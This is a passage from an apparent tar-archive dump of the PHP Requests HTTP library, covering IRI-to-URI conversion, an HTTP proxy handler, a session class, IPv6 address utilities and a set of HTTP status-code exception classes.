	 * @return string|false URI if IRI is valid, false otherwise.
	 */
	protected function to_uri($string) {
		if (!is_string($string)) {
			return false;
		}

		static $non_ascii;
		if (!$non_ascii) {
			$non_ascii = implode('', range("\x80", "\xFF"));
		}

		$position = 0;
		$strlen = strlen($string);
		while (($position += strcspn($string, $non_ascii, $position)) < $strlen) {
			$string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
			$position += 3;
			$strlen += 2;
		}

		return $string;
	}

	/**
	 * Get the complete IRI
	 *
	 * @return string
	 */
	protected function get_iri() {
		if (!$this->is_valid()) {
			return false;
		}

		$iri = '';
		if ($this->scheme !== null) {
			$iri .= $this->scheme . ':';
		}
		if (($iauthority = $this->get_iauthority()) !== null) {
			$iri .= '//' . $iauthority;
		}
		$iri .= $this->ipath;
		if ($this->iquery !== null) {
			$iri .= '?' . $this->iquery;
		}
		if ($this->ifragment !== null) {
			$iri .= '#' . $this->ifragment;
		}

		return $iri;
	}

	/**
	 * Get the complete URI
	 *
	 * @return string
	 */
	protected function get_uri() {
		return $this->to_uri($this->get_iri());
	}

	/**
	 * Get the complete iauthority
	 *
	 * @return string
	 */
	protected function get_iauthority() {
		if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) {
			return null;
		}

		$iauthority = '';
		if ($this->iuserinfo !== null) {
			$iauthority .= $this->iuserinfo . '@';
		}
		if ($this->ihost !== null) {
			$iauthority .= $this->ihost;
		}
		if ($this->port !== null) {
			$iauthority .= ':' . $this->port;
		}
		return $iauthority;
	}

	/**
	 * Get the complete authority
	 *
	 * @return string
	 */
	protected function get_authority() {
		$iauthority = $this->get_iauthority();
		if (is_string($iauthority)) {
			return $this->to_uri($iauthority);
		}
		else {
			return $iauthority;
		}
	}
}
Proxy/HTTP.php000066600000006617151114300000007154 0ustar00<?php
/**
 * HTTP Proxy connection interface
 *
 * @package Requests
 * @subpackage Proxy
 * @since 1.6
 */

/**
 * HTTP Proxy connection interface
 *
 * Provides a handler for connection via an HTTP proxy
 *
 * @package Requests
 * @subpackage Proxy
 * @since 1.6
 */
class Requests_Proxy_HTTP implements Requests_Proxy {
	/**
	 * Proxy host and port
	 *
	 * Notation: "host:port" (eg 127.0.0.1:8080 or someproxy.com:3128)
	 *
	 * @var string
	 */
	public $proxy;

	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Do we need to authenticate? (ie username & password have been provided)
	 *
	 * @var boolean
	 */
	public $use_authentication;

	/**
	 * Constructor
	 *
	 * @since 1.6
	 * @throws Requests_Exception On incorrect number of arguments (`authbasicbadargs`)
	 * @param array|null $args Array of user and password. Must have exactly two elements
	 */
	public function __construct($args = null) {
		if (is_string($args)) {
			$this->proxy = $args;
		}
		elseif (is_array($args)) {
			if (count($args) == 1) {
				list($this->proxy) = $args;
			}
			elseif (count($args) == 3) {
				list($this->proxy, $this->user, $this->pass) = $args;
				$this->use_authentication = true;
			}
			else {
				throw new Requests_Exception('Invalid number of arguments', 'proxyhttpbadargs');
			}
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @since 1.6
	 * @see curl_before_send
	 * @see fsockopen_remote_socket
	 * @see fsockopen_remote_host_path
	 * @see fsockopen_header
	 * @param Requests_Hooks $hooks Hook system
	 */
	public function register(Requests_Hooks &$hooks) {
		$hooks->register('curl.before_send', array(&$this, 'curl_before_send'));

		$hooks->register('fsockopen.remote_socket', array(&$this, 'fsockopen_remote_socket'));
		$hooks->register('fsockopen.remote_host_path', array(&$this, 'fsockopen_remote_host_path'));
		if ($this->use_authentication) {
			$hooks->register('fsockopen.after_headers', array(&$this, 'fsockopen_header'));
		}
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @since 1.6
	 * @param resource $handle cURL resource
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
		curl_setopt($handle, CURLOPT_PROXY, $this->proxy);

		if ($this->use_authentication) {
			curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
			curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
		}
	}

	/**
	 * Alter remote socket information before opening socket connection
	 *
	 * @since 1.6
	 * @param string $remote_socket Socket connection string
	 */
	public function fsockopen_remote_socket(&$remote_socket) {
		$remote_socket = $this->proxy;
	}

	/**
	 * Alter remote path before getting stream data
	 *
	 * @since 1.6
	 * @param string $path Path to send in HTTP request string ("GET ...")
	 * @param string $url Full URL we're requesting
	 */
	public function fsockopen_remote_host_path(&$path, $url) {
		$path = $url;
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @since 1.6
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @since 1.6
	 * @return string
	 */
	public function get_auth_string() {
		return $this->user . ':' . $this->pass;
	}
}Session.php000066600000016137151114300000006675 0ustar00<?php
/**
 * Session handler for persistent requests and default parameters
 *
 * @package Requests
 * @subpackage Session Handler
 */

/**
 * Session handler for persistent requests and default parameters
 *
 * Allows various options to be set as default values, and merges both the
 * options and URL properties together. A base URL can be set for all requests,
 * with all subrequests resolved from this. Base options can be set (including
 * a shared cookie jar), then overridden for individual requests.
 *
 * @package Requests
 * @subpackage Session Handler
 */
class Requests_Session {
	/**
	 * Base URL for requests
	 *
	 * URLs will be made absolute using this as the base
	 * @var string|null
	 */
	public $url = null;

	/**
	 * Base headers for requests
	 * @var array
	 */
	public $headers = array();

	/**
	 * Base data for requests
	 *
	 * If both the base data and the per-request data are arrays, the data will
	 * be merged before sending the request.
	 *
	 * @var array
	 */
	public $data = array();

	/**
	 * Base options for requests
	 *
	 * The base options are merged with the per-request data for each request.
	 * The only default option is a shared cookie jar between requests.
	 *
	 * Values here can also be set directly via properties on the Session
	 * object, e.g. `$session->useragent = 'X';`
	 *
	 * @var array
	 */
	public $options = array();

	/**
	 * Create a new session
	 *
	 * @param string|null $url Base URL for requests
	 * @param array $headers Default headers for requests
	 * @param array $data Default data for requests
	 * @param array $options Default options for requests
	 */
	public function __construct($url = null, $headers = array(), $data = array(), $options = array()) {
		$this->url = $url;
		$this->headers = $headers;
		$this->data = $data;
		$this->options = $options;

		if (empty($this->options['cookies'])) {
			$this->options['cookies'] = new Requests_Cookie_Jar();
		}
	}

	/**
	 * Get a property's value
	 *
	 * @param string $key Property key
	 * @return mixed|null Property value, null if none found
	 */
	public function __get($key) {
		if (isset($this->options[$key])) {
			return $this->options[$key];
		}

		return null;
	}

	/**
	 * Set a property's value
	 *
	 * @param string $key Property key
	 * @param mixed $value Property value
	 */
	public function __set($key, $value) {
		$this->options[$key] = $value;
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $key Property key
	 */
	public function __isset($key) {
		return isset($this->options[$key]);
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $key Property key
	 */
	public function __unset($key) {
		if (isset($this->options[$key])) {
			unset($this->options[$key]);
		}
	}

	/**#@+
	 * @see request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return Requests_Response
	 */
	/**
	 * Send a GET request
	 */
	public function get($url, $headers = array(), $options = array()) {
		return $this->request($url, $headers, null, Requests::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public function head($url, $headers = array(), $options = array()) {
		return $this->request($url, $headers, null, Requests::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public function delete($url, $headers = array(), $options = array()) {
		return $this->request($url, $headers, null, Requests::DELETE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return Requests_Response
	 */
	/**
	 * Send a POST request
	 */
	public function post($url, $headers = array(), $data = array(), $options = array()) {
		return $this->request($url, $headers, $data, Requests::POST, $options);
	}

	/**
	 * Send a PUT request
	 */
	public function put($url, $headers = array(), $data = array(), $options = array()) {
		return $this->request($url, $headers, $data, Requests::PUT, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see post} and {@see put}, `$headers` is required, as the
	 * specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public function patch($url, $headers, $data = array(), $options = array()) {
		return $this->request($url, $headers, $data, Requests::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * @see Requests::request()
	 *
	 * @throws Requests_Exception On invalid URLs (`nonhttp`)
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use Requests constants)
	 * @param array $options Options for the request (see {@see Requests::request})
	 * @return Requests_Response
	 */
	public function request($url, $headers = array(), $data = array(), $type = Requests::GET, $options = array()) {
		$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));

		return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * @see Requests::request_multiple()
	 *
	 * @param array $requests Requests data (see {@see Requests::request_multiple})
	 * @param array $options Global and default options (see {@see Requests::request})
	 * @return array Responses (either Requests_Response or a Requests_Exception object)
	 */
	public function request_multiple($requests, $options = array()) {
		foreach ($requests as $key => $request) {
			$requests[$key] = $this->merge_request($request, false);
		}

		$options = array_merge($this->options, $options);

		// Disallow forcing the type, as that's a per request setting
		unset($options['type']);

		return Requests::request_multiple($requests, $options);
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}

	/**
	 * Merge a request's data with the default data
	 *
	 * @param array $request Request data (same form as {@see request_multiple})
	 * @param boolean $merge_options Should we merge options as well?
	 * @return array Request data
	 */
	protected function merge_request($request, $merge_options = true) {
		if ($this->url !== null) {
			$request['url'] = Requests_IRI::absolutize($this->url, $request['url']);
			$request['url'] = $request['url']->uri;
		}

		if (empty($request['headers'])) {
			$request['headers'] = array();
		}
		$request['headers'] = array_merge($this->headers, $request['headers']);

		if (empty($request['data'])) {
			if (is_array($this->data)) {
				$request['data'] = $this->data;
			}
		}
		elseif (is_array($request['data']) && is_array($this->data)) {
			$request['data'] = array_merge($this->data, $request['data']);
		}

		if ($merge_options !== false) {
			$request['options'] = array_merge($this->options, $request['options']);

			// Disallow forcing the type, as that's a per request setting
			unset($request['options']['type']);
		}

		return $request;
	}
}
IPv6.php000066600000011477151114300000006040 0ustar00<?php
/**
 * Class to validate and to work with IPv6 addresses
 *
 * @package Requests
 * @subpackage Utilities
 */

/**
 * Class to validate and to work with IPv6 addresses
 *
 * This was originally based on the PEAR class of the same name, but has been
 * entirely rewritten.
 *
 * @package Requests
 * @subpackage Utilities
 */
class Requests_IPv6 {
	/**
	 * Uncompresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and expands the '::' to
	 * the required number of zero pieces.
	 *
	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
	 *           ::1         ->  0:0:0:0:0:0:0:1
	 *
	 * @author Alexander Merz <alexander.merz@web.de>
	 * @author elfrink at introweb dot nl
	 * @author Josh Peck <jmp at joshpeck dot org>
	 * @copyright 2003-2005 The PHP Group
	 * @license http://www.opensource.org/licenses/bsd-license.php
	 * @param string $ip An IPv6 address
	 * @return string The uncompressed IPv6 address
	 */
	public static function uncompress($ip) {
		if (substr_count($ip, '::') !== 1) {
			return $ip;
		}

		list($ip1, $ip2) = explode('::', $ip);
		$c1 = ($ip1 === '') ? -1 : substr_count($ip1, ':');
		$c2 = ($ip2 === '') ? -1 : substr_count($ip2, ':');

		if (strpos($ip2, '.') !== false) {
			$c2++;
		}
		// ::
		if ($c1 === -1 && $c2 === -1) {
			$ip = '0:0:0:0:0:0:0:0';
		}
		// ::xxx
		else if ($c1 === -1) {
			$fill = str_repeat('0:', 7 - $c2);
			$ip = str_replace('::', $fill, $ip);
		}
		// xxx::
		else if ($c2 === -1) {
			$fill = str_repeat(':0', 7 - $c1);
			$ip = str_replace('::', $fill, $ip);
		}
		// xxx::xxx
		else {
			$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
			$ip = str_replace('::', $fill, $ip);
		}
		return $ip;
	}

	/**
	 * Compresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and compresses consecutive
	 * zero pieces to '::'.
	 *
	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
	 *           0:0:0:0:0:0:0:1        ->  ::1
	 *
	 * @see uncompress()
	 * @param string $ip An IPv6 address
	 * @return string The compressed IPv6 address
	 */
	public static function compress($ip) {
		// Prepare the IP to be compressed
		$ip = self::uncompress($ip);
		$ip_parts = self::split_v6_v4($ip);

		// Replace all leading zeros
		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

		// Find bunches of zeros
		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
			$max = 0;
			$pos = null;
			foreach ($matches[0] as $match) {
				if (strlen($match[0]) > $max) {
					$max = strlen($match[0]);
					$pos = $match[1];
				}
			}

			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
		}

		if ($ip_parts[1] !== '') {
			return implode(':', $ip_parts);
		}
		else {
			return $ip_parts[0];
		}
	}

	/**
	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
	 *
	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
	 * using the standard IPv4 representation
	 *
	 * Example:  0:0:0:0:0:0:13.1.68.3
	 *           0:0:0:0:0:FFFF:129.144.52.38
	 *
	 * @param string $ip An IPv6 address
	 * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part
	 */
	protected static function split_v6_v4($ip) {
		if (strpos($ip, '.') !== false) {
			$pos = strrpos($ip, ':');
			$ipv6_part = substr($ip, 0, $pos);
			$ipv4_part = substr($ip, $pos + 1);
			return array($ipv6_part, $ipv4_part);
		}
		else {
			return array($ip, '');
		}
	}

	/**
	 * Checks an IPv6 address
	 *
	 * Checks if the given IP is a valid IPv6 address
	 *
	 * @param string $ip An IPv6 address
	 * @return bool true if $ip is a valid IPv6 address
	 */
	public static function check_ipv6($ip) {
		$ip = self::uncompress($ip);
		list($ipv6, $ipv4) = self::split_v6_v4($ip);
		$ipv6 = explode(':', $ipv6);
		$ipv4 = explode('.', $ipv4);
		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
			foreach ($ipv6 as $ipv6_part) {
				// The section can't be empty
				if ($ipv6_part === '') {
					return false;
				}

				// Nor can it be over four characters
				if (strlen($ipv6_part) > 4) {
					return false;
				}

				// Remove leading zeros (this is safe because of the above)
				$ipv6_part = ltrim($ipv6_part, '0');
				if ($ipv6_part === '') {
					$ipv6_part = '0';
				}

				// Check the value is valid
				$value = hexdec($ipv6_part);
				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
					return false;
				}
			}
			if (count($ipv4) === 4) {
				foreach ($ipv4 as $ipv4_part) {
					$value = (int) $ipv4_part;
					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
						return false;
					}
				}
			}
			return true;
		}
		else {
			return false;
		}
	}
}
Exception/Transport.php000066600000000112151114300000011166 0ustar00<?php

class Requests_Exception_Transport extends Requests_Exception {

}
Exception/HTTP.php000066600000002613151114300000007761 0ustar00<?php
/**
 * Exception based on HTTP response
 *
 * @package Requests
 */

/**
 * Exception based on HTTP response
 *
 * @package Requests
 */
class Requests_Exception_HTTP extends Requests_Exception {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * There is no mechanism to pass in the status code, as this is set by the
	 * subclass used. Reason phrases can vary, however.
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($reason !== null) {
			$this->reason = $reason;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, 'httpresponse', $data, $this->code);
	}

	/**
	 * Get the status message
	 */
	public function getReason() {
		return $this->reason;
	}

	/**
	 * Get the correct exception class for a given error code
	 *
	 * @param int|bool $code HTTP status code, or false if unavailable
	 * @return string Exception class name to use
	 */
	public static function get_class($code) {
		if (!$code) {
			return 'Requests_Exception_HTTP_Unknown';
		}

		$class = sprintf('Requests_Exception_HTTP_%d', $code);
		if (class_exists($class)) {
			return $class;
		}

		return 'Requests_Exception_HTTP_Unknown';
	}
}Exception/HTTP/504.php000066600000000617151114300000010273 0ustar00<?php
/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests
 */

/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_504 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 504;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gateway Timeout';
}Exception/HTTP/503.php000066600000000633151114300000010270 0ustar00<?php
/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests
 */

/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_503 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 503;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Service Unavailable';
}Exception/HTTP/429.php000066600000001045151114300000010275 0ustar00<?php
/**
 * Exception for 429 Too Many Requests responses
 *
 * @see https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 * @package Requests
 */

/**
 * Exception for 429 Too Many Requests responses
 *
 * @see https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 * @package Requests
 */
class Requests_Exception_HTTP_429 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 429;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Too Many Requests';
}Exception/HTTP/412.php000066600000000633151114300000010267 0ustar00<?php
/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests
 */

/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_412 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 412;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Failed';
}Exception/HTTP/415.php000066600000000644151114300000010274 0ustar00<?php
/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests
 */

/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_415 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 415;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unsupported Media Type';
}Exception/HTTP/404.php000066600000000575151114300000010275 0ustar00<?php
/**
 * Exception for 404 Not Found responses
 *
 * @package Requests
 */

/**
 * Exception for 404 Not Found responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_404 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 404;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Found';
}Exception/HTTP/403.php000066600000000575151114300000010274 0ustar00<?php
/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests
 */

/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_403 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 403;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Forbidden';
}Exception/HTTP/431.php000066600000001027151114300000010266 0ustar00<?php
/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @see https://tools.ietf.org/html/rfc6585
 * @package Requests
 */

/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @see https://tools.ietf.org/html/rfc6585
 * @package Requests
 */
class Requests_Exception_HTTP_431 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 431;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Header Fields Too Large';
}Exception/HTTP/414.php000066600000000641151114300000010270 0ustar00<?php
/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests
 */

/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_414 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 414;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request-URI Too Large';
}Exception/HTTP/413.php000066600000000652151114300000010271 0ustar00<?php
/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests
 */

/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_413 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 413;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Entity Too Large';
}Exception/HTTP/428.php000066600000000771151114300000010301 0ustar00<?php
/**
 * Exception for 428 Precondition Required responses
 *
 * @see https://tools.ietf.org/html/rfc6585
 * @package Requests
 */

/**
 * Exception for 428 Precondition Required responses
 *
 * @see https://tools.ietf.org/html/rfc6585
 * @package Requests
 */
class Requests_Exception_HTTP_428 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 428;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Required';
}Exception/HTTP/502.php000066600000000603151114300000010264 0ustar00<?php
/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests
 */

/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_502 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 502;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Gateway';
}Exception/HTTP/505.php000066600000000660151114300000010272 0ustar00<?php
/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests
 */

/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_505 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 505;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'HTTP Version Not Supported';
}Exception/HTTP/Unknown.php000066600000001543151114300000011421 0ustar00<?php
/**
 * Exception for unknown status responses
 *
 * @package Requests
 */

/**
 * Exception for unknown status responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_Unknown extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer|bool Code if available, false if an error occurred
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * If `$data` is an instance of {@see Requests_Response}, uses the status
	 * code from it. Otherwise, sets as 0
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($data instanceof Requests_Response) {
			$this->code = $data->status_code;
		}

		parent::__construct($reason, $data);
	}
}Exception/HTTP/306.php000066600000000607151114300000010272 0ustar00<?php
/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests
 */

/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_306 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 306;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Switch Proxy';
}
Exception/HTTP/402.php000066600000000622151114300000010264 0ustar00<?php
/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests
 */

/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_402 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 402;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Payment Required';
}Exception/HTTP/405.php000066600000000630151114300000010266 0ustar00<?php
/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests
 */

/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_405 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 405;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Method Not Allowed';
}Exception/HTTP/305.php000066600000000576151114300000010276 0ustar00<?php
/**
 * Exception for 305 Use Proxy responses
 *
 * @package Requests
 */

/**
 * Exception for 305 Use Proxy responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_305 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 305;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Use Proxy';
}
Exception/HTTP/408.php000066600000000617151114300000010276 0ustar00<?php
/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests
 */

/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_408 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 408;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Timeout';
}Exception/HTTP/406.php000066600000000614151114300000010271 0ustar00<?php
/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests
 */

/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_406 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 406;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Acceptable';
}Exception/HTTP/401.php000066600000000606151114300000010265 0ustar00<?php
/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests
 */

/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_401 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 401;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unauthorized';
}Exception/HTTP/410.php000066600000000556151114300000010271 0ustar00<?php
/**
 * Exception for 410 Gone responses
 *
 * @package Requests
 */

/**
 * Exception for 410 Gone responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_410 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 410;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gone';
}Exception/HTTP/417.php000066600000000630151114300000010271 0ustar00<?php
/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests
 */

/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_417 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 417;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Expectation Failed';
}Exception/HTTP/501.php000066600000000617151114300000010270 0ustar00<?php
/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests
 */

/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_501 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 501;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Implemented';
}Exception/HTTP/400.php000066600000000603151114300000010261 0ustar00<?php
/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests
 */

/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_400 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 400;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Request';
}Exception/HTTP/407.php000066600000000671151114300000010275 0ustar00<?php
/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests
 */

/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_407 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 407;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Proxy Authentication Required';
}Exception/HTTP/409.php000066600000000572151114300000010277 0ustar00<?php
/**
 * Exception for 409 Conflict responses
 *
 * @package Requests
 */

/**
 * Exception for 409 Conflict responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_409 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 409;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Conflict';
